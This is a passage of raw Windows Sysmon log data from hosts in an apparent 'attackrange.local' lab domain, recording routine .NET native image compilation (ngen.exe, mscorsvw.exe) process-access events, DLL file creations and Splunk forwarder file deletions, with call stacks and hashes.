14:45:16.662{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7C-613B-300A-00000000F001}5176C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.644{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F7C-613B-300A-00000000F001}5176C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.644{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7C-613B-300A-00000000F001}5176C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.574{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7C-613B-2F0A-00000000F001}5152C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.564{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7C-613B-2F0A-00000000F001}5152C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.564{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7C-613B-2F0A-00000000F001}5152C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.494{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7C-613B-2E0A-00000000F001}4872C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.484{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F7C-613B-2E0A-00000000F001}4872C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.484{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7C-613B-2E0A-00000000F001}4872C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.462{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A363F6E58EC831E09044186B94A1BA6B,SHA256=BC42FD149E0193CF1707C10B59D3C8D5DF978328A8EE806A0B379237946FECEC,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000045185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:16.443{7BD73061-6F7C-613B-2D0A-00000000F001}5044C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\13b4-0\Microsoft.VisualStudio.Tools.Office.Runtime.Internal.dll2021-09-10 14:45:16.443 10341000x800000000000000045184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.283{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7C-613B-2D0A-00000000F001}5044C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.262{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7C-613B-2D0A-00000000F001}5044C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.262{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7C-613B-2D0A-00000000F001}5044C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.183{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7C-613B-2C0A-00000000F001}4928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.163{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7C-613B-2C0A-00000000F001}4928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.163{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7C-613B-2C0A-00000000F001}4928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000045178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:16.113{7BD73061-6F7B-613B-2B0A-00000000F001}2180C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\884-0\Microsoft.VisualStudio.Tools.Office.Runtime.dll2021-09-10 14:45:16.113 23542300x800000000000000045177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:16.083{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1FF7BC592F81B3A71B1F95D9B6C2B94B,SHA256=4727134EB4682DABDABB1966867BB5D9D76E55F135F3832D2A78A4C8173990BC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013999Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:17.920{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B3F2CE7CF7C59846C564D2AC713C4C66,SHA256=B8B372301A220DB177C38052682336E2DDFB424214BC6E641106806BF290322B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.887{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7D-613B-3E0A-00000000F001}1940C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.877{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7D-613B-3E0A-00000000F001}1940C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.877{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7D-613B-3E0A-00000000F001}1940C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.697{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7D-613B-3D0A-00000000F001}6736C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.687{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F7D-613B-3D0A-00000000F001}6736C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.687{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7D-613B-3D0A-00000000F001}6736C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.657{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3613128EFCBFC6FC349DA20A4302F0B5,SHA256=35CE7CA993FE3281318CE9C2D66839B1E5E8ADCBE3A340F8C8E3E1E1E1BAB0E6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:17.646{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0037EF001BB0BA26D379B78F9A3DD595,SHA256=24CA7F9B1EBA54C0C9D6CB4D1A6ED0A6A4DE227813C885C7DE92408F362E125C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 